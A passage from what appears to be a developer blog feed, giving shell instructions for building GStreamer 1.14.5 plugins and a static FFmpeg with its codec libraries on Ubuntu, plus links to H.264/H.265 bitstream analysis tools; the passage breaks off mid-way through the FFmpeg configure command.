<span class="nb">cd </span>gst-plugins-ugly <span class="o">&&</span> <span class="se">\</span>
git checkout 1.14.5 <span class="nt">-b</span> 1.14.5 <span class="o">||</span> <span class="nb">echo</span> <span class="s2">"branch existed"</span> <span class="o">&&</span> <span class="se">\</span>
<span class="nv">PATH</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">GS_INSTALL</span><span class="k">}</span><span class="s2">/bin:</span><span class="nv">$PATH</span><span class="s2">"</span> <span class="se">\</span>
<span class="nb">export </span><span class="nv">PKG_CONFIG_PATH</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">GS_INSTALL</span><span class="k">}</span><span class="s2">/lib/pkgconfig:</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">/lib/pkgconfig:</span><span class="nv">$PKG_CONFIG_PATH</span><span class="s2">"</span> <span class="o">&&</span> <span class="se">\</span>
./autogen.sh <span class="nt">--prefix</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">GS_INSTALL</span><span class="k">}</span><span class="s2">"</span> <span class="se">\</span>
<span class="nt">--disable-gtk-doc</span> <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> clean <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> <span class="nb">install
cd</span> <span class="k">${</span><span class="nv">GS_SOURCES</span><span class="k">}</span> <span class="o">&&</span> <span class="se">\</span>
git <span class="nt">-C</span> gst-plugins-bad pull 2> /dev/null <span class="o">||</span> git clone https://gitlab.freedesktop.org/gstreamer/gst-plugins-bad <span class="o">||</span> <span class="nb">echo</span> <span class="s2">"git existed"</span> <span class="o">&&</span> <span class="se">\</span>
<span class="nb">cd </span>gst-plugins-bad <span class="o">&&</span> <span class="se">\</span>
git checkout 1.14.5 <span class="nt">-b</span> 1.14.5 <span class="o">||</span> <span class="nb">echo</span> <span class="s2">"branch existed"</span> <span class="o">&&</span> <span class="se">\</span>
<span class="nv">PATH</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">GS_INSTALL</span><span class="k">}</span><span class="s2">/bin:</span><span class="nv">$PATH</span><span class="s2">"</span> <span class="se">\</span>
<span class="nb">export </span><span class="nv">PKG_CONFIG_PATH</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">GS_INSTALL</span><span class="k">}</span><span class="s2">/lib/pkgconfig:</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">/lib/pkgconfig:</span><span class="nv">$PKG_CONFIG_PATH</span><span class="s2">"</span> <span class="o">&&</span> <span class="se">\</span>
./autogen.sh <span class="nt">--prefix</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">GS_INSTALL</span><span class="k">}</span><span class="s2">"</span> <span class="se">\</span>
<span class="nt">--disable-gtk-doc</span> <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> clean <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> <span class="nb">install
cd</span> <span class="k">${</span><span class="nv">GS_SOURCES</span><span class="k">}</span> <span class="o">&&</span> <span class="se">\</span>
git <span class="nt">-C</span> gst-rtsp-server pull 2> /dev/null <span class="o">||</span> git clone https://gitlab.freedesktop.org/gstreamer/gst-rtsp-server <span class="o">||</span> <span class="nb">echo</span> <span class="s2">"git existed"</span> <span class="o">&&</span> <span class="se">\</span>
<span class="nb">cd </span>gst-rtsp-server <span class="o">&&</span> <span class="se">\</span>
git checkout 1.14.5 <span class="nt">-b</span> 1.14.5 <span class="o">||</span> <span class="nb">echo</span> <span class="s2">"branch existed"</span> <span class="o">&&</span> <span class="se">\</span>
<span class="nv">PATH</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">GS_INSTALL</span><span class="k">}</span><span class="s2">/bin:</span><span class="nv">$PATH</span><span class="s2">"</span> <span class="se">\</span>
<span class="nb">export </span><span class="nv">PKG_CONFIG_PATH</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">GS_INSTALL</span><span class="k">}</span><span class="s2">/lib/pkgconfig:</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">/lib/pkgconfig:</span><span class="nv">$PKG_CONFIG_PATH</span><span class="s2">"</span> <span class="o">&&</span> <span class="se">\</span>
./autogen.sh <span class="nt">--prefix</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">GS_INSTALL</span><span class="k">}</span><span class="s2">"</span> <span class="se">\</span>
<span class="nt">--disable-gtk-doc</span> <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> clean <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j</span><span class="k">${</span><span class="nv">NUM_CORES</span><span class="k">}</span> <span class="nb">install</span>
</code></pre></div></div>
Annex B h264/h265 bitstreams tools2021-07-27T00:00:00+00:00http://memto.github.io/linux/program/tooltips/2021/07/27/annex-b-h264-h265-bitstreams-tools<h3 id="get-data">Get data</h3>
<ul>
<li>Extracting h264 raw video stream from mp4 or flv with ffmpeg (https://stackoverflow.com/a/19304516)</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>To extract a raw video from an MP4 or FLV container you should specify the <span class="nt">-bsf</span>:v h264_mp4toannexb or <span class="nt">-vbfs</span> h264_mp4toannexb option.
ffmpeg <span class="nt">-i</span> test.flv <span class="nt">-vcodec</span> copy <span class="nt">-an</span> <span class="nt">-bsf</span>:v h264_mp4toannexb test.h264
The raw stream without H264 Annex B / NAL cannot be decode by player. With that option ffmpeg perform a simple <span class="s2">"mux"</span> of each h264 sample <span class="k">in </span>a NAL unit.
</code></pre></div></div>
<h3 id="tools">Tools</h3>
<ul>
<li>
<p>A H264 frame data viewer</p>
<p>https://github.com/shi-yan/H264Naked</p>
<p><img src="https://raw.githubusercontent.com/shi-yan/H264Naked/master/H264Naked_screenshot.png" alt="" /></p>
</li>
<li>
<p>HEVCESBrowser is a tool for analyzing hevc(h265) bitstreams</p>
<p>https://github.com/virinext/hevcesbrowser</p>
<p><img src="https://cloud.githubusercontent.com/assets/10683398/6995983/2f0a3974-db20-11e4-8d8f-cd6db7a954c4.png" alt="" /></p>
</li>
<li>
<p>Gitl HEVC/H.265 Analyzer based on Qt. Custom filters supported.</p>
<p>https://github.com/lheric/GitlHEVCAnalyzer</p>
<p><img src="https://github.com/lheric/GitlHEVCAnalyzer/blob/master/screenshots/screenshot_win.png?raw=true" alt="" /></p>
</li>
</ul>
Ffmpeg custom build (static) on Ubuntu2021-07-27T00:00:00+00:00http://memto.github.io/linux/program/tooltips/2021/07/27/-ffmpeg-custom-build-static-on-ubuntu<h3 id="ref">Ref</h3>
<ul>
<li>https://trac.ffmpeg.org/wiki/CompilationGuide/Ubuntu</li>
</ul>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt purge ffmpeg libavutil<span class="k">*</span> libswscale<span class="k">*</span> libswresample<span class="k">*</span> libavcodec<span class="k">*</span> libavformat<span class="k">*</span> libavdevice<span class="k">*</span> libavfilter<span class="k">*</span>
<span class="nb">sudo </span>apt autoremove
<span class="nb">sudo </span>apt-get update <span class="nt">-qq</span> <span class="o">&&</span> <span class="nb">sudo </span>apt-get <span class="nt">-y</span> <span class="nb">install</span> <span class="se">\</span>
autoconf <span class="se">\</span>
automake <span class="se">\</span>
build-essential <span class="se">\</span>
cmake <span class="se">\</span>
git-core <span class="se">\</span>
libunistring-dev <span class="se">\</span>
libass-dev <span class="se">\</span>
libfreetype6-dev <span class="se">\</span>
libgnutls28-dev <span class="se">\</span>
libsdl2-dev <span class="se">\</span>
libtool <span class="se">\</span>
libva-dev <span class="se">\</span>
libvdpau-dev <span class="se">\</span>
libvorbis-dev <span class="se">\</span>
libxcb1-dev <span class="se">\</span>
libxcb-shm0-dev <span class="se">\</span>
libxcb-xfixes0-dev <span class="se">\</span>
meson <span class="se">\</span>
ninja-build <span class="se">\</span>
pkg-config <span class="se">\</span>
texinfo <span class="se">\</span>
wget <span class="se">\</span>
yasm <span class="se">\</span>
zlib1g-dev
</code></pre></div></div>
<h2 id="static-build">STATIC BUILD</h2>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">export </span><span class="nv">FF_SOURCES</span><span class="o">=</span>/mnt/data/opensource/ffmpeg/ffmpeg_sources
<span class="nb">export </span><span class="nv">FF_BUILD</span><span class="o">=</span>/mnt/data/opensource/ffmpeg/ffmpeg_build
<span class="nb">export </span><span class="nv">FF_INSTALL</span><span class="o">=</span>/mnt/data/opensource/ffmpeg/ffmpeg_install
<span class="nb">export </span><span class="nv">NUM_CORES</span><span class="o">=</span>8
</code></pre></div></div>
<h4 id="-video">=== VIDEO</h4>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># NASM</span>
An assembler used by some libraries.
If your repository provides nasm version ≥ 2.13 <span class="k">then </span>you can <span class="nb">install </span>that instead of compiling:
<span class="nb">sudo </span>apt-get <span class="nb">install </span>nasm
Otherwise you can compile:
<span class="nb">cd</span> <span class="k">${</span><span class="nv">FF_SOURCES</span><span class="k">}</span> <span class="o">&&</span> <span class="se">\</span>
wget https://www.nasm.us/pub/nasm/releasebuilds/2.15.05/nasm-2.15.05.tar.bz2 <span class="o">&&</span> <span class="se">\</span>
<span class="nb">tar </span>xjvf nasm-2.15.05.tar.bz2 <span class="o">&&</span> <span class="se">\</span>
<span class="nb">cd </span>nasm-2.15.05 <span class="o">&&</span> <span class="se">\</span>
./autogen.sh <span class="o">&&</span> <span class="se">\</span>
<span class="nv">PATH</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">/bin:</span><span class="nv">$PATH</span><span class="s2">"</span> ./configure <span class="nt">--prefix</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_BUILD</span><span class="k">}</span><span class="s2">"</span> <span class="nt">--bindir</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">/bin"</span> <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j8</span> <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j8</span> <span class="nb">install</span>
<span class="c"># libx264</span>
H.264 video encoder. See the H.264 Encoding Guide <span class="k">for </span>more information and usage examples.
Requires ffmpeg to be configured with <span class="nt">--enable-gpl</span> <span class="nt">--enable-libx264</span><span class="nb">.</span>
If your repository provides libx264-dev version ≥ 118 <span class="k">then </span>you can <span class="nb">install </span>that instead of compiling:
<span class="nb">sudo </span>apt-get <span class="nb">install </span>libx264-dev
Otherwise you can compile:
<span class="nb">cd</span> <span class="k">${</span><span class="nv">FF_SOURCES</span><span class="k">}</span> <span class="o">&&</span> <span class="se">\</span>
git <span class="nt">-C</span> x264 pull 2> /dev/null <span class="o">||</span> git clone <span class="nt">--depth</span> 1 https://code.videolan.org/videolan/x264.git <span class="o">&&</span> <span class="se">\</span>
<span class="nb">cd </span>x264 <span class="o">&&</span> <span class="se">\</span>
<span class="nv">PATH</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">/bin:</span><span class="nv">$PATH</span><span class="s2">"</span> <span class="nv">PKG_CONFIG_PATH</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_BUILD</span><span class="k">}</span><span class="s2">/lib/pkgconfig"</span> ./configure <span class="nt">--prefix</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_BUILD</span><span class="k">}</span><span class="s2">"</span> <span class="nt">--bindir</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">/bin"</span> <span class="nt">--enable-static</span> <span class="nt">--enable-pic</span> <span class="o">&&</span> <span class="se">\</span>
<span class="nv">PATH</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">/bin:</span><span class="nv">$PATH</span><span class="s2">"</span> <span class="se">\</span>
make <span class="nt">-j8</span> <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j8</span> <span class="nb">install</span>
<span class="c"># libx265</span>
H.265/HEVC video encoder. See the H.265 Encoding Guide <span class="k">for </span>more information and usage examples.
Requires ffmpeg to be configured with <span class="nt">--enable-gpl</span> <span class="nt">--enable-libx265</span><span class="nb">.</span>
If your repository provides libx265-dev version ≥ 68 <span class="k">then </span>you can <span class="nb">install </span>that instead of compiling:
<span class="nb">sudo </span>apt-get <span class="nb">install </span>libx265-dev libnuma-dev
Warning: Currently and unlike other libraries, you have to get the full libx265 repository <span class="o">(</span>so remove <span class="nt">--depth</span> 1 argument <span class="k">in </span>git clone<span class="o">)</span><span class="nb">.</span> Indeed, it will be longer, but it is necessary to allow generating x265.pc file, which is needed to build ffmpeg with <span class="nt">--enable-libx265</span><span class="nb">.</span> Without this, ffmpeg build will be broken.
If you cannot, or don<span class="s1">'t want to get the full libx265 repository, please use the version provided by apt instead.
Otherwise you can compile:
sudo apt-get install libnuma-dev && \
cd ${FF_SOURCES} && \
git -C x265_git pull 2> /dev/null || git clone https://bitbucket.org/multicoreware/x265_git && \
cd x265_git/build/linux && \
PATH="${FF_INSTALL}/bin:$PATH" cmake -G "Unix Makefiles" -DCMAKE_INSTALL_PREFIX="${FF_BUILD}" -DENABLE_SHARED=off ../../source && \
PATH="${FF_INSTALL}/bin:$PATH" \
make -j8 && \
make -j8 install
# libvpx
VP8/VP9 video encoder/decoder. See the VP9 Video Encoding Guide for more information and usage examples.
Requires ffmpeg to be configured with --enable-libvpx.
If your repository provides libvpx-dev version ≥ 1.4.0 then you can install that instead of compiling:
sudo apt-get install libvpx-dev
Otherwise you can compile:
cd ${FF_SOURCES} && \
git -C libvpx pull 2> /dev/null || git clone --depth 1 https://chromium.googlesource.com/webm/libvpx.git && \
cd libvpx && \
PATH="${FF_INSTALL}/bin:$PATH" ./configure --prefix="${FF_BUILD}" --disable-examples --disable-unit-tests --enable-vp9-highbitdepth --as=yasm && \
PATH="${FF_INSTALL}/bin:$PATH" \
make -j8 && \
make -j8 install
</span></code></pre></div></div>
<h4 id="-audio">=== AUDIO</h4>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="c"># libfdk-aac</span>
AAC audio encoder. See the AAC Audio Encoding Guide <span class="k">for </span>more information and usage examples.
Requires ffmpeg to be configured with <span class="nt">--enable-libfdk-aac</span> <span class="o">(</span>and <span class="nt">--enable-nonfree</span> <span class="k">if </span>you also included <span class="nt">--enable-gpl</span><span class="o">)</span><span class="nb">.</span>
If your repository provides libfdk-aac-dev <span class="k">then </span>you can <span class="nb">install </span>that instead of compiling:
<span class="nb">sudo </span>apt-get <span class="nb">install </span>libfdk-aac-dev
Otherwise you can compile:
<span class="nb">cd</span> <span class="k">${</span><span class="nv">FF_SOURCES</span><span class="k">}</span> <span class="o">&&</span> <span class="se">\</span>
git <span class="nt">-C</span> fdk-aac pull 2> /dev/null <span class="o">||</span> git clone <span class="nt">--depth</span> 1 https://github.com/mstorsjo/fdk-aac <span class="o">&&</span> <span class="se">\</span>
<span class="nb">cd </span>fdk-aac <span class="o">&&</span> <span class="se">\</span>
autoreconf <span class="nt">-fiv</span> <span class="o">&&</span> <span class="se">\</span>
./configure <span class="nt">--prefix</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_BUILD</span><span class="k">}</span><span class="s2">"</span> <span class="nt">--disable-shared</span> <span class="o">&&</span> <span class="se">\</span>
make <span class="o">&&</span> <span class="se">\</span>
make <span class="nb">install</span>
<span class="c"># libmp3lame</span>
MP3 audio encoder.
Requires ffmpeg to be configured with <span class="nt">--enable-libmp3lame</span><span class="nb">.</span>
If your repository provides libmp3lame-dev version ≥ 3.98.3 <span class="k">then </span>you can <span class="nb">install </span>that instead of compiling:
<span class="nb">sudo </span>apt-get <span class="nb">install </span>libmp3lame-dev
Otherwise you can compile:
<span class="nb">cd</span> <span class="k">${</span><span class="nv">FF_SOURCES</span><span class="k">}</span> <span class="o">&&</span> <span class="se">\</span>
wget <span class="nt">-O</span> lame-3.100.tar.gz https://downloads.sourceforge.net/project/lame/lame/3.100/lame-3.100.tar.gz <span class="o">&&</span> <span class="se">\</span>
<span class="nb">tar </span>xzvf lame-3.100.tar.gz <span class="o">&&</span> <span class="se">\</span>
<span class="nb">cd </span>lame-3.100 <span class="o">&&</span> <span class="se">\</span>
<span class="nv">PATH</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">/bin:</span><span class="nv">$PATH</span><span class="s2">"</span> ./configure <span class="nt">--prefix</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_BUILD</span><span class="k">}</span><span class="s2">"</span> <span class="nt">--bindir</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">/bin"</span> <span class="nt">--disable-shared</span> <span class="nt">--enable-nasm</span> <span class="o">&&</span> <span class="se">\</span>
<span class="nv">PATH</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">/bin:</span><span class="nv">$PATH</span><span class="s2">"</span> make <span class="o">&&</span> <span class="se">\</span>
make <span class="nb">install</span>
<span class="c"># libopus</span>
Opus audio decoder and encoder.
Requires ffmpeg to be configured with <span class="nt">--enable-libopus</span><span class="nb">.</span>
If your repository provides libopus-dev version ≥ 1.1 <span class="k">then </span>you can <span class="nb">install </span>that instead of compiling:
<span class="nb">sudo </span>apt-get <span class="nb">install </span>libopus-dev
Otherwise you can compile:
<span class="nb">cd</span> <span class="k">${</span><span class="nv">FF_SOURCES</span><span class="k">}</span> <span class="o">&&</span> <span class="se">\</span>
git <span class="nt">-C</span> opus pull 2> /dev/null <span class="o">||</span> git clone <span class="nt">--depth</span> 1 https://github.com/xiph/opus.git <span class="o">&&</span> <span class="se">\</span>
<span class="nb">cd </span>opus <span class="o">&&</span> <span class="se">\</span>
./autogen.sh <span class="o">&&</span> <span class="se">\</span>
./configure <span class="nt">--prefix</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_BUILD</span><span class="k">}</span><span class="s2">"</span> <span class="nt">--disable-shared</span> <span class="o">&&</span> <span class="se">\</span>
make <span class="o">&&</span> <span class="se">\</span>
make <span class="nb">install</span>
<span class="c"># libaom</span>
AV1 video encoder/decoder:
Warning: libaom does not yet appear to have a stable API, so compilation of libavcodec/libaomenc.c may occasionally fail. Just <span class="nb">wait </span>a day or two <span class="k">for </span>us to catch up with these annoying changes, re-download ffmpeg-snapshot.tar.bz2, and try again. Or skip libaom altogether.
<span class="nb">cd</span> <span class="k">${</span><span class="nv">FF_SOURCES</span><span class="k">}</span> <span class="o">&&</span> <span class="se">\</span>
git <span class="nt">-C</span> aom pull 2> /dev/null <span class="o">||</span> git clone <span class="nt">--depth</span> 1 https://aomedia.googlesource.com/aom <span class="o">&&</span> <span class="se">\</span>
<span class="nb">mkdir</span> <span class="nt">-p</span> aom_build <span class="o">&&</span> <span class="se">\</span>
<span class="nb">cd </span>aom_build <span class="o">&&</span> <span class="se">\</span>
<span class="nv">PATH</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">/bin:</span><span class="nv">$PATH</span><span class="s2">"</span> cmake <span class="nt">-G</span> <span class="s2">"Unix Makefiles"</span> <span class="nt">-DCMAKE_INSTALL_PREFIX</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_BUILD</span><span class="k">}</span><span class="s2">"</span> <span class="nt">-DENABLE_SHARED</span><span class="o">=</span>off <span class="nt">-DENABLE_NASM</span><span class="o">=</span>on ../aom <span class="o">&&</span> <span class="se">\</span>
<span class="nv">PATH</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">/bin:</span><span class="nv">$PATH</span><span class="s2">"</span> <span class="se">\</span>
make <span class="nt">-j8</span> <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j8</span> <span class="nb">install</span>
<span class="c"># libsvtav1</span>
AV1 video encoder/decoder. Only the encoder is supported by FFmpeg, so building of the decoder is disabled.
Requires ffmpeg to be configured with <span class="nt">--enable-libsvtav1</span><span class="nb">.</span>
<span class="nb">cd</span> <span class="k">${</span><span class="nv">FF_SOURCES</span><span class="k">}</span> <span class="o">&&</span> <span class="se">\</span>
git <span class="nt">-C</span> SVT-AV1 pull 2> /dev/null <span class="o">||</span> git clone https://gitlab.com/AOMediaCodec/SVT-AV1.git <span class="o">&&</span> <span class="se">\</span>
<span class="nb">mkdir</span> <span class="nt">-p</span> SVT-AV1/build <span class="o">&&</span> <span class="se">\</span>
<span class="nb">cd </span>SVT-AV1/build <span class="o">&&</span> <span class="se">\</span>
<span class="nv">PATH</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">/bin:</span><span class="nv">$PATH</span><span class="s2">"</span> cmake <span class="nt">-G</span> <span class="s2">"Unix Makefiles"</span> <span class="nt">-DCMAKE_INSTALL_PREFIX</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_BUILD</span><span class="k">}</span><span class="s2">"</span> <span class="nt">-DCMAKE_BUILD_TYPE</span><span class="o">=</span>Release <span class="nt">-DBUILD_DEC</span><span class="o">=</span>OFF <span class="nt">-DBUILD_SHARED_LIBS</span><span class="o">=</span>OFF .. <span class="o">&&</span> <span class="se">\</span>
<span class="nv">PATH</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">/bin:</span><span class="nv">$PATH</span><span class="s2">"</span> <span class="se">\</span>
make <span class="nt">-j8</span> <span class="o">&&</span> <span class="se">\</span>
make <span class="nt">-j8</span> <span class="nb">install</span>
<span class="c"># libdav1d</span>
AV1 decoder, much faster than the one provided by libaom.
Requires ffmpeg to be configured with <span class="nt">--enable-libdav1d</span><span class="nb">.</span>
If your repository provides libdav1d-dev, you can <span class="nb">install </span>that instead of compiling:
<span class="nb">sudo </span>apt-get <span class="nb">install </span>libdav1d-dev
Otherwise you<span class="s1">'ll need can build from source. Users whose distributions don'</span>t provide a recent enough version of meson <span class="o">(</span>0.49.0 or newer<span class="o">)</span> will need to <span class="nb">install </span>a more up-to-date version. This is easily <span class="k">done </span>via the Python Package Index:
<span class="nb">sudo </span>apt-get <span class="nb">install </span>python3-pip <span class="o">&&</span> <span class="se">\</span>
pip3 <span class="nb">install</span> <span class="nt">--user</span> meson
NASM version 2.14 or newer is required <span class="k">for </span>AVX-512 support. See the NASM section <span class="k">for </span>how to <span class="nb">install</span>/build. Alternatively, disable AVX-512 <span class="k">in </span>Meson setup with <span class="nt">-Denable_avx512</span><span class="o">=</span>false.
To compile:
<span class="nb">sudo </span>apt-get purge meson <span class="o">&&</span> <span class="se">\</span>
<span class="nb">sudo </span>apt-get <span class="nb">install </span>python3-pip <span class="o">&&</span> <span class="se">\</span>
pip3 <span class="nb">install</span> <span class="nt">--upgrade</span> meson <span class="o">&&</span> <span class="se">\</span>
<span class="nb">cd</span> <span class="k">${</span><span class="nv">FF_SOURCES</span><span class="k">}</span> <span class="o">&&</span> <span class="se">\</span>
git <span class="nt">-C</span> dav1d pull 2> /dev/null <span class="o">||</span> git clone <span class="nt">--depth</span> 1 https://code.videolan.org/videolan/dav1d.git <span class="o">&&</span> <span class="se">\</span>
<span class="nb">mkdir</span> <span class="nt">-p</span> dav1d/build <span class="o">&&</span> <span class="se">\</span>
<span class="nb">cd </span>dav1d/build <span class="o">&&</span> <span class="se">\</span>
<span class="nv">PATH</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">/bin:</span><span class="nv">$PATH</span><span class="s2">"</span><span class="p">;</span> <span class="nv">$HOME</span>/.local/bin/meson setup <span class="nt">-Denable_tools</span><span class="o">=</span><span class="nb">false</span> <span class="nt">-Denable_tests</span><span class="o">=</span><span class="nb">false</span> <span class="nt">--default-library</span><span class="o">=</span>static .. <span class="nt">--prefix</span> <span class="s2">"</span><span class="k">${</span><span class="nv">FF_BUILD</span><span class="k">}</span><span class="s2">"</span> <span class="nt">--libdir</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_BUILD</span><span class="k">}</span><span class="s2">/lib"</span> <span class="o">&&</span> <span class="se">\</span>
ninja <span class="o">&&</span> <span class="se">\</span>
ninja <span class="nb">install</span>
<span class="c"># libvmaf</span>
Library <span class="k">for </span>calculating the VMAF video quality metric. Requires ffmpeg to be configured with <span class="nt">--enable-libvmaf</span><span class="nb">.</span> Currently an issue <span class="k">in </span>libvmaf also requires FFmpeg to be built with <span class="nt">--ld</span><span class="o">=</span><span class="s2">"g++"</span> <span class="k">for </span>a static build to succeed.
To compile:
<span class="nb">sudo </span>apt-get purge meson <span class="o">&&</span> <span class="se">\</span>
<span class="nb">sudo </span>apt-get <span class="nb">install </span>python3-pip <span class="o">&&</span> <span class="se">\</span>
pip3 <span class="nb">install</span> <span class="nt">--upgrade</span> meson <span class="o">&&</span> <span class="se">\</span>
<span class="nb">cd</span> <span class="k">${</span><span class="nv">FF_SOURCES</span><span class="k">}</span> <span class="o">&&</span> <span class="se">\</span>
wget https://github.com/Netflix/vmaf/archive/v2.1.1.tar.gz <span class="nt">-O</span> vmaf_v2.1.1.tar.gz <span class="o">&&</span> <span class="se">\</span>
<span class="nb">tar </span>xvf vmaf_v2.1.1.tar.gz <span class="o">&&</span> <span class="se">\</span>
<span class="nb">mkdir</span> <span class="nt">-p</span> vmaf-2.1.1/libvmaf/build <span class="o">&&</span><span class="se">\</span>
<span class="nb">cd </span>vmaf-2.1.1/libvmaf/build <span class="o">&&</span> <span class="se">\</span>
<span class="nv">PATH</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">/bin:</span><span class="nv">$PATH</span><span class="s2">"</span><span class="p">;</span> <span class="nv">$HOME</span>/.local/bin/meson setup <span class="nt">-Denable_tests</span><span class="o">=</span><span class="nb">false</span> <span class="nt">-Denable_docs</span><span class="o">=</span><span class="nb">false</span> <span class="nt">--buildtype</span><span class="o">=</span>release <span class="nt">--default-library</span><span class="o">=</span>static .. <span class="nt">--prefix</span> <span class="s2">"</span><span class="k">${</span><span class="nv">FF_BUILD</span><span class="k">}</span><span class="s2">"</span> <span class="nt">--bindir</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_BUILD</span><span class="k">}</span><span class="s2">/bin"</span> <span class="nt">--libdir</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_BUILD</span><span class="k">}</span><span class="s2">/lib"</span> <span class="o">&&</span> <span class="se">\</span>
ninja <span class="o">&&</span> <span class="se">\</span>
ninja <span class="nb">install</span>
</code></pre></div></div>
<h4 id="-ffmpeg-source-package-vs-git-httpsstackoverflowcoma36904949">=== FFMPEG (Source package vs git: https://stackoverflow.com/a/36904949)</h4>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cd</span> <span class="k">${</span><span class="nv">FF_SOURCES</span><span class="k">}</span> <span class="o">&&</span> <span class="se">\</span>
wget <span class="nt">-O</span> ffmpeg-snapshot.tar.bz2 https://ffmpeg.org/releases/ffmpeg-snapshot.tar.bz2 <span class="o">&&</span> <span class="se">\</span>
<span class="nb">tar </span>xjvf ffmpeg-snapshot.tar.bz2 <span class="o">&&</span> <span class="se">\</span>
<span class="nb">cd </span>ffmpeg <span class="o">&&</span> <span class="se">\</span>
<span class="nv">PATH</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_INSTALL</span><span class="k">}</span><span class="s2">/bin:</span><span class="nv">$PATH</span><span class="s2">"</span> <span class="se">\</span>
<span class="nv">PKG_CONFIG_PATH</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">FF_BUILD</span><span class="k">}</span><span class="s2">/lib/pkgconfig"</span> ./configure <span class="se">\</span>
<span class="nt">--pkg-config-flags</span><span class="o">=</span><span class="s2">"--static"</span> <span class="se">\</span>
<span class="nt">--extra-cflags</span><span class="o">=</span><span class="s2">"-I</span><span class="k">${</span><span class="nv">FF_BUILD</span><span class="k">}</span><span class="s2">/include"</span> <span class="se">\</span>
<span class="nt">--extra-ldflags</span><span class="o">=</span><span class="s2">"-L</span><span class="k">${</span><span class="nv">FF_BUILD</span><span class="k">}</span><span class="s2">/lib"</span> <span class="se">\</span>
